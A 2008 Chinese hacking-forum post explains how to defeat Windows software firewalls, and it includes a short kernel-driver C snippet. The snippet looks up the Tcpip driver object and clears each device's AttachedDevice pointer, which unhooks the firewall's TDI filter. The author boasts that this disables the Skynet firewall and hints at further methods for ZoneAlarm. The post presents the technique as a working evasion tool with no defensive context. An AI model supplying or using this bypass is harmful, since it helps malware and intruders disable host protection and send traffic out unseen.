找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1184|回复: 0

突破国内防火墙

[复制链接]

4

主题

39

回帖

57

牛毛

初生牛犊

积分
57
发表于 2008-1-17 16:43:00 | 显示全部楼层 |阅读模式 来自 浙江省杭州市
我们只要写个驱动,从设备栈里把防火墙的TDI过滤驱动给摘除掉,这样就能对付一般的防火墙了。当然,国外强一点的防火墙,比如ZoneAlarm Pro 6.5就得再结合其他方法了,嘿嘿。

摘除过滤驱动的代码片段:




RtlInitUnicodeString ( &TcpipName, L\"\\\\Driver\\\\Tcpip\" );

ObReferenceObjectByName( &TcpipName,
       OBJ_CASE_INSENSITIVE,
       NULL,
       0,
       *IoDriverObjectType,
       KernelMode,              
       NULL,
       &TcpipDrvObj);

CurrentDevice = TcpipDrvObj->DeviceObject;

while(CurrentDevice != NULL )
{
CurrentDevice->AttachedDevice=0;
CurrentDevice = CurrentDevice->NextDevice;
}


这段代码就能足以使国内人人皆知的天网防火墙装了和没装一样... 呵呵

PS:这里的突破指的是软件防火墙的内对外层面。
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-27 05:46 , Processed in 0.121301 second(s), 28 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表